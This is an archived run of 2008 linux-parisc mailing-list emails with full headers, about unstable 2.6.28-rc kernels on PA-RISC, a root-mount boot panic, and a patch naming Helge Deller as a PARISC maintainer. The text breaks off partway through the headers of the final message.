	id 697F329C037; Fri, 21 Nov 2008 23:11:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1227061902.10371.11.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/862>

On Wed, Nov 19, 2008 at 11:31:42AM +0900, James Bottomley wrote:
> On Tue, 2008-11-18 at 21:04 +0100, Helge Deller wrote:
> > I've tried various -rc candidates in the last few weeks, and sadly the 
> > parisc kernel is in pretty bad shape.
> > 
> > At the beginning I started to get problems only when I had USB 
> > keyboard/mouse attached to the PA machine. This lead to bugzilla 
> > http://bugzilla.kernel.org/show_bug.cgi?id=11913
> > 
> > Now, with -rc4 and -rc5 things got even worse.
> > 
> > Crashes happen often just directly at the beginning.
> > I'm sure it's not USB related any more, and I assume we have some 
> > strange mm-problem somewhere.
> 
> I'd be really dubious about that.  Our pa8900 ... the most mm unstable
> system we have ... is running -rc5 just fine.  The only warning before
> boot is the usual SMP one.

I'm not. During a normal kernel build:
/bin/sh: line 1:  2985 Trace/breakpoint trap   ( cat /dev/null ) > sound/mips/modules.order
make[2]: *** [sound/mips/modules.order] Error 133

Restarting the build allowed it to finish.
This is 2.6.28-rc5 trying to build itself again. I didn't see this
with -rc3 though it possible it's just chance that I didn't.

Config file is on:
   http://iou.parisc-linux.org/~grundler/2.6.28-rc5-config-j6000

(or gsyprf11:~grundler/public_html/2.6.28-rc5-config-j6000)



> Linux ion 2.6.28-rc5 #20 SMP Tue Nov 18 18:16:35 PST 2008 parisc64
> 
> Why don't we compare configs?  This is mine for ion:
> 
> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion
> 
> I suspect we have some nasty interaction in the device driver subsystem
> (ion, the pa8900, isn't running either USB or PDC stable).

That's possible. But the IOMMU code hasn't changed. I'm inclined
to believe another VM bug has crept in.

I agree with Dave that kernel hasn't gotten more stable since 2.6.22
kernel that we keep running on gsyprf11.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Fri, 21 Nov 2008 23:14:48 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20081122061448.GD12724@colo.lackof.org>
References: <20081120035103.E1C62431A@hiauly1.hia.nrc.ca> <20081120165701.52A09431A@hiauly1.hia.nrc.ca> <20081122055754.GB12724@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227334513 21694 80.91.229.12 (22 Nov 2008 06:15:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 06:15:13 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James.Bottomley@HansenPartnership.com, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 07:16:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3lmu-0001es-P8
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 07:16:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750835AbYKVGPB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 01:15:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751196AbYKVGPB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 01:15:01 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:56803 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750835AbYKVGPB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 01:15:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 606ED29C092;
	Fri, 21 Nov 2008 23:14:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11899-09; Fri, 21 Nov 2008 23:14:48 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 071DE29C037; Fri, 21 Nov 2008 23:14:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081122055754.GB12724@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/863>

On Fri, Nov 21, 2008 at 10:57:54PM -0700, Grant Grundler wrote:
> Maybe the full device pathname (e.g. root=/dev/sda3) is required?

ok....this was rubish.  Prevous message showed:
    Command line for kernel: 'root=/dev/sda3 panic=5 console=ttyS1

I don't know what the problem is here.


thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace process (v2)
Date: Sat, 22 Nov 2008 05:22:09 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20081122122208.GE5707@parisc-linux.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227356562 2617 80.91.229.12 (22 Nov 2008 12:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 12:22:42 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 13:23:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3rWY-00028d-Jr
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 13:23:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757960AbYKVMW1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 07:22:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757952AbYKVMW0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 07:22:26 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:42847 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757923AbYKVMW0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 07:22:26 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 4EF1D49400D; Sat, 22 Nov 2008 05:22:09 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081122055301.GA12724@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/864>

On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
> And Helge has been great about fixing stuff - much better than the three
> listed maintainers lately.
> Kyle, willy, any objection to adding Helge to the MAINTAINERS list
> for PARISC port?
> I'd rather allow Helge to make a few small mistakes occasionally rather
> than watch his parisc specific patches fall on the floor.

No objection from me.  I think it's time to remove me from MAINTAINERS
as it's probably been six months since I last turned on any of my parisc
machines.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
	process (v2)
Date: Sat, 22 Nov 2008 11:01:52 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20081122180152.GC2690@colo.lackof.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081122122208.GE5707@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227376945 27424 80.91.229.12 (22 Nov 2008 18:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 18:02:25 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 19:03:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3wpC-0007uq-MV
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 19:03:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758694AbYKVSCH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 13:02:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758703AbYKVSCH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 13:02:07 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:34231 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758694AbYKVSCG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 13:02:06 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 44CA929C092;
	Sat, 22 Nov 2008 11:02:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05070-05; Sat, 22 Nov 2008 11:01:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8B70429C037; Sat, 22 Nov 2008 11:01:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081122122208.GE5707@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/865>

On Sat, Nov 22, 2008 at 05:22:09AM -0700, Matthew Wilcox wrote:
> On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
> > And Helge has been great about fixing stuff - much better than the three
> > listed maintainers lately.
> > Kyle, willy, any objection to adding Helge to the MAINTAINERS list
> > for PARISC port?
> > I'd rather allow Helge to make a few small mistakes occasionally rather
> > than watch his parisc specific patches fall on the floor.
> 
> No objection from me.  I think it's time to remove me from MAINTAINERS
> as it's probably been six months since I last turned on any of my parisc
> machines.

Thanks!  We have quorum.
Andrew can you please apply this and send to linus?
Or should I start acting like a maintainer and send it myself? :)

Willy, I'm not removing you from Cupertino test ring LDAP or any other
privileges unless you ask me to. Just note I appreciate all of your past
(and future) help with the port and you are always welcome in Mountain View.

thanks,
grant

Signed-off-By: Grant Grundler <grundler@parisc-linux.org>
Reviewed-by: Matthew Wilcox <matthew@wil.cx>

diff --git a/MAINTAINERS b/MAINTAINERS
index 618c1ef..5b5034c 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -3294,8 +3294,8 @@ S:	Maintained
 PARISC ARCHITECTURE
 P:	Kyle McMartin
 M:	kyle@mcmartin.ca
-P:	Matthew Wilcox
-M:	matthew@wil.cx
+P:	Helge Deller
+M:	deller@gmx.de
 P:	Grant Grundler
 M:	grundler@parisc-linux.org
 L:	linux-parisc@vger.kernel.org
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sat, 22 Nov 2008 14:48:13 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <20081122194814.10E874EDF@hiauly1.hia.nrc.ca>
References: <20081122061448.GD12724@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227383306 12562 80.91.229.12 (22 Nov 2008 19:48:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 19:48:26 +0000 (UTC)
Cc: grundler@parisc-linux.org, James.Bottomley@HansenPartnership.com,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 20:49:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3yTv-0005p0-To
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 20:49:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751656AbYKVTsQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 14:48:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751602AbYKVTsQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 14:48:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4433 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751093AbYKVTsP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 14:48:15 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 10E874EDF; Sat, 22 Nov 2008 14:48:13 -0500 (EST)
In-Reply-To: <20081122061448.GD12724@colo.lackof.org> from "Grant Grundler" at Nov 21, 2008 11:14:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:866
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/866>

> On Fri, Nov 21, 2008 at 10:57:54PM -0700, Grant Grundler wrote:
> > Maybe the full device pathname (e.g. root=/dev/sda3) is required?
> 
> ok....this was rubish.  Prevous message showed:
>     Command line for kernel: 'root=/dev/sda3 panic=5 console=ttyS1
> 
> I don't know what the problem is here.

Added a couple of printks:

VFS: name="/dev/root", p="cramfs"
err=-6
VFS: Cannot open root device "sda3" or unknown-block(0,0)
Please append a correct "root=" boot option; here are the available partitions:
DEBUG_BLOCK_EXT_DEVT is enabled, you need to specify explicit textual name for "root=" boot option.
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)

Note: there are no partitions printed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace	process
 (v2)
Date: Sat, 22 Nov 2008 21:09:57 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <49286715.6020805@gmx.de>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081122122208.GE5707@parisc-linux.org> <20081122180152.GC2690@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227384620 16129 80.91.229.12 (22 Nov 2008 20:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 20:10:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-parisc@vger.kernel.org, kyle@hera.kernel.org,
	randolph@tausq.org, stable@kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 21:11:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3yp4-0003TD-C3
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 21:11:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751656AbYKVUKE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 15:10:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751761AbYKVUKE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 15:10:04 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46657 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751656AbYKVUKC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 15:10:02 -0500
Original-Received: (qmail invoked by alias); 22 Nov 2008 20:09:59 -0000
Original-Received: from mnhm-590f66e8.pool.einsundeins.de (EHLO halden.box) [89.15.102.232]
  by mail.gmx.net (mp007) with SMTP; 22 Nov 2008 21:09:59 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+EAngGIu+E4g7wuYf29Qy54aR4DuPziRnYW79Def
	PssTntWSl2vy5k
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081122180152.GC2690@colo.lackof.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:867
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/867>

Grant Grundler wrote:
> On Sat, Nov 22, 2008 at 05:22:09AM -0700, Matthew Wilcox wrote:
>> On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
>>> And Helge has been great about fixing stuff - much better than the three
>>> listed maintainers lately.
>>> Kyle, willy, any objection to adding Helge to the MAINTAINERS list
>>> for PARISC port?
>>> I'd rather allow Helge to make a few small mistakes occasionally rather
>>> than watch his parisc specific patches fall on the floor.
>> No objection from me.  I think it's time to remove me from MAINTAINERS
>> as it's probably been six months since I last turned on any of my parisc
>> machines.
> 
> Thanks!  We have quorum.
> Andrew can you please apply this and send to linus?
> Or should I start acting like a maintainer and send it myself? :)
> 
> Willy, I'm not removing you from Cupertino test ring LDAP or any other
> privileges unless you ask me to. Just note I appreciate all of your past
> (and future) help with the port and you are always welcome in Mountain View.
> 
> thanks,
> grant
> 
> Signed-off-By: Grant Grundler <grundler@parisc-linux.org>
> Reviewed-by: Matthew Wilcox <matthew@wil.cx>

Acked-by: Helge Deller <deller@gmx.de>

> diff --git a/MAINTAINERS b/MAINTAINERS
> index 618c1ef..5b5034c 100644
> --- a/MAINTAINERS
> +++ b/MAINTAINERS
> @@ -3294,8 +3294,8 @@ S:	Maintained
>  PARISC ARCHITECTURE
>  P:	Kyle McMartin
>  M:	kyle@mcmartin.ca
> -P:	Matthew Wilcox
> -M:	matthew@wil.cx
> +P:	Helge Deller
> +M:	deller@gmx.de
>  P:	Grant Grundler
>  M:	grundler@parisc-linux.org
>  L:	linux-parisc@vger.kernel.org
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sat, 22 Nov 2008 16:37:44 -0500
Organization: nrc.ca
Lines: 21
Approved: news@gmane.org
Message-ID: <20081122213744.GA26202@hiauly1.hia.nrc.ca>
References: <20081122061448.GD12724@colo.lackof.org> <20081122194814.10E874EDF@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227389878 29504 80.91.229.12 (22 Nov 2008 21:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 21:37:58 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 22:39:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L40Bv-0001h7-Bo
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 22:38:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752876AbYKVVhr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 16:37:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752893AbYKVVhr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 16:37:47 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4446 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751751AbYKVVhr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 16:37:47 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9B62E4E7A; Sat, 22 Nov 2008 16:37:45 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20081122194814.10E874EDF@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/868>

On Sat, 22 Nov 2008, John David Anglin wrote:

> Added a couple of printks:
> 
> VFS: name="/dev/root", p="cramfs"
> err=-6
> VFS: Cannot open root device "sda3" or unknown-block(0,0)
> Please append a correct "root=" boot option; here are the available partitions:

Boots if I add initrd=1/initrd.img.  Have to say the error message isn't
very helpful.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Sun, 23 Nov 2008 08:01:51 +0900
Lines: 25
Approved: news@gmane.org
Message-ID: <1227394911.4366.0.camel@localhost.localdomain>
References: <20081122061448.GD12724@colo.lackof.org>
	 <20081122194814.10E874EDF@hiauly1.hia.nrc.ca>
	 <20081122213744.GA26202@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227394938 9899 80.91.229.12 (22 Nov 2008 23:02:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 23:02:18 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 23 00:03:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L41VV-0007cn-1N
	for glpp-linux-parisc@gmane.org; Sun, 23 Nov 2008 00:03:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757862AbYKVXCE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 18:02:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757091AbYKVXCE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 18:02:04 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:47888 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757648AbYKVXCB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
